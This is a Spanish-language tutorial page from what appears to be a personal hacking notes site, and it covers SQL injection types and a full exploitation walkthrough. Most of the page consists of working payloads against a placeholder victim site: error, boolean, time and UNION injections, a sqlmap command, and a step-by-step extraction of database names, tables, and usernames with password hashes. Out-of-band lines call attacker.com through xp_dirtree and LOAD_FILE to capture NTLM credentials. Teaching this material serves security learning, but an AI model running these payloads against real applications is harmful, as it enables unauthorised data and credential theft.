> For the complete documentation index, see [llms.txt](https://4lec4st.gitbook.io/4lec4st/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://4lec4st.gitbook.io/4lec4st/hacking-web/sql-injection.md).

# SQL Injection

## Introducción

SQL Injection es una vulnerabilidad que permite a un atacante interactuar directamente con la base de datos subyacente de una aplicación. Existen **diferentes tipos de SQLi**, dependiendo de cómo se comporta la aplicación frente a una inyección y qué respuesta devuelve. Comprender cada tipo es clave para su explotación efectiva.

***

## 1. Inyección clásica o basada en errores (Error-Based SQLi)

Este tipo de SQLi ocurre cuando la base de datos devuelve mensajes de error al usuario, y esos mensajes revelan información sensible o permiten inferir estructura de la consulta.

#### Ejemplo

URL vulnerable:

```
http://victima.com/producto.php?id=10
```

Probamos con:

```
http://victima.com/producto.php?id=10'
```

Si devuelve un error como:

```
You have an error in your SQL syntax near '' at line 1
```

Entonces es vulnerable.

Probamos a enumerar la versión:

```sql
?id=10 UNION SELECT 1, @@version, 3 --
```

Salida:

```
5.7.33-0ubuntu0.18.04.1
```

Ahora sabemos el motor y versión.

***

## 2. Inyección basada en booleanos (Boolean-Based Blind SQLi)

En este tipo, no hay errores ni salida directa, pero podemos inferir si una condición es verdadera o falsa observando cómo cambia la respuesta de la página (contenido, tamaño, redirección, etc.).

#### Ejemplo

```
?id=10 AND 1=1
```

→ Página carga normalmente.

```
?id=10 AND 1=2
```

→ Página muestra contenido diferente o da error 404.

Entonces podemos extraer datos bit a bit. Por ejemplo:

```sql
?id=10 AND SUBSTRING((SELECT database()),1,1)='a'
```

Hacemos bruteforce de carácter por carácter.

***

## 3. Inyección basada en tiempo (Time-Based Blind SQLi)

Aquí no hay error ni diferencia en el contenido de respuesta, pero la **respuesta se retrasa** si la condición es verdadera. Se usa principalmente cuando no hay salida visible.

Se usan funciones como:

* `SLEEP(x)` en MySQL
* `pg_sleep(x)` en PostgreSQL
* `WAITFOR DELAY '0:0:x'` en MSSQL

#### Ejemplo en MySQL

```sql
?id=10 AND SLEEP(5)
```

→ Si el servidor tarda 5 segundos, es vulnerable.

Ahora, podemos extraer datos:

```sql
?id=10 AND IF(SUBSTRING((SELECT database()),1,1)='a', SLEEP(5), 0)
```

Probamos cada letra una por una mientras medimos el tiempo de respuesta.

Herramientas como `sqlmap` automatizan esto fácilmente:

```bash
sqlmap -u "http://victima.com/item.php?id=1" --technique=T --dbs
```

***

## 4. Inyección basada en unión (UNION-Based SQLi)

Permite combinar múltiples resultados en una misma consulta y obtener los datos directamente en pantalla.

#### Pasos típicos:

1. Encontrar el número de columnas:

```sql
?id=1 ORDER BY 3 --
```

Aumentar el número hasta que dé error. Supongamos que son 3 columnas.

2. Ver qué columnas son visibles:

```sql
?id=1 UNION SELECT 1,2,3 --
```

Ver cuál aparece en pantalla.

3. Extraer información:

```sql
?id=1 UNION SELECT null, database(), null --
```

***

## 5. Inyección ciega con contenido condicional (Blind Content-Based)

En algunos casos, la aplicación redirige a distintas páginas dependiendo del resultado de la consulta. Es similar a Boolean-Based, pero se basa en el comportamiento del sistema (como login exitoso/fallido).

#### Ejemplo:

En un login:

```sql
usuario: admin' AND 1=1 --
clave: loquesea
```

→ Acceso concedido.

```sql
usuario: admin' AND 1=2 --
clave: loquesea
```

→ Acceso denegado.

Permite inferir condiciones paso a paso.

***

## 6. Inyección fuera de banda (Out-of-Band SQLi)

Este tipo se usa cuando no hay salida directa ni diferencias temporales claras. La explotación depende de que la base de datos pueda hacer peticiones externas (DNS, HTTP).

#### Ejemplo en Microsoft SQL Server:

```sql
'; exec master..xp_dirtree '\\attacker.com\test' --
```

Esto genera una conexión SMB a tu servidor, permitiendo verificar la vulnerabilidad e incluso capturar credenciales NTLM.

En MySQL con `LOAD_FILE()` o `INTO OUTFILE`:

```sql
SELECT LOAD_FILE('\\\\attacker.com\\share');
```

Muy útil para detección silenciosa en entornos donde no hay salida visible ni errores.

***

## Explotación paso a paso

Vamos a asumir que ya tenemos una URL vulnerable a SQLi (por ejemplo, un parámetro `id` que es susceptible a manipulación).

***

### Paso 1: Identificación de la vulnerabilidad SQLi

Supongamos que tienes un sitio web con la siguiente URL vulnerable:

```
http://victima.com/producto.php?id=10
```

Probamos la inyección SQL más básica:

```
http://victima.com/producto.php?id=10'
```

Si la página muestra un error como:

```
You have an error in your SQL syntax near '' at line 1
```

Es una indicación de que el sitio es vulnerable a SQLi.

***

### Paso 2: Enumeración de la base de datos

#### 2.1: Verificar si la inyección SQL funciona

Probamos una inyección más simple para verificar que la consulta está siendo manipulada:

```sql
?id=10' OR 1=1 --
```

Esto debería devolver todos los resultados, ya que `1=1` siempre es verdadero. Si vemos todos los registros de la base de datos, es un indicio de que la inyección es exitosa.

#### 2.2: Enumerar el nombre de la base de datos

Para obtener el nombre de la base de datos, podemos usar la función `DATABASE()` de MySQL. Probamos la siguiente inyección:

```sql
?id=10' UNION SELECT 1, DATABASE(), 3 --
```

Esto devolverá el nombre de la base de datos en el segundo campo de la respuesta.

***

### Paso 3: Enumeración de las tablas de la base de datos

Una vez que tenemos el nombre de la base de datos, el siguiente paso es enumerar las tablas dentro de esa base de datos. Para ello, utilizamos la vista `information_schema.tables`, que contiene información sobre todas las tablas en la base de datos.

Ejemplo de inyección:

```sql
?id=10' UNION SELECT 1, table_name, 3 FROM information_schema.tables WHERE table_schema = DATABASE() --
```

Esto devolverá una lista de tablas de la base de datos actual.

***

### Paso 4: Enumeración de las columnas de una tabla específica

Ahora que sabemos qué tablas existen en la base de datos, podemos elegir una de ellas y enumerar sus columnas. Para ello, consultamos la vista `information_schema.columns`.

Por ejemplo, si la tabla que queremos explorar se llama `users`, usamos la siguiente consulta:

```sql
?id=10' UNION SELECT 1, column_name, 3 FROM information_schema.columns WHERE table_name = 'users' --
```

Esto devolverá una lista de las columnas dentro de la tabla `users`, como `id`, `username`, `password`, etc.

***

### Paso 5: Extracción de datos de las tablas

Una vez que tenemos el nombre de las tablas y las columnas, podemos proceder a **extraer datos**. Por ejemplo, si en la tabla `users` tenemos las columnas `id`, `username`, `password`, podemos usar la siguiente inyección para obtener los datos:

```sql
?id=10' UNION SELECT 1, username, password FROM users --
```

Esto devolverá los **nombres de usuario** y las **contraseñas** (en texto claro o hashes) de la tabla `users`.

***

## Ejemplo completo paso a paso

Supongamos que estamos atacando una aplicación web vulnerable y queremos realizar la enumeración de la base de datos, las tablas y los datos desde cero. A continuación se muestra el proceso completo:

### 1. **Comprobar si la inyección es posible**:

```sql
http://victima.com/producto.php?id=10'
```

Si vemos un error en la página, sabemos que la inyección SQL es posible.

### 2. **Obtener el nombre de la base de datos**:

```sql
http://victima.com/producto.php?id=10' UNION SELECT 1, DATABASE(), 3 --
```

Respuesta: `victima_db`

### 3. **Enumerar las tablas**:

```sql
http://victima.com/producto.php?id=10' UNION SELECT 1, table_name, 3 FROM information_schema.tables WHERE table_schema = 'victima_db' --
```

Respuesta:

```
users
products
orders
```

### 4. **Enumerar las columnas de la tabla `users`**:

```sql
http://victima.com/producto.php?id=10' UNION SELECT 1, column_name, 3 FROM information_schema.columns WHERE table_name = 'users' --
```

Respuesta:

```
id
username
password
email
```

### 5. **Extraer los datos de la tabla `users`**:

```sql
http://victima.com/producto.php?id=10' UNION SELECT 1, username, password FROM users --
```

Respuesta:

```
admin | 5f4dcc3b5aa765d61d8327deb882cf99
user1 | 21232f297a57a5a74394a0e8a2f0e6f1
```

Aquí hemos obtenido los nombres de usuario y las contraseñas en formato MD5 de los usuarios `admin` y `user1`
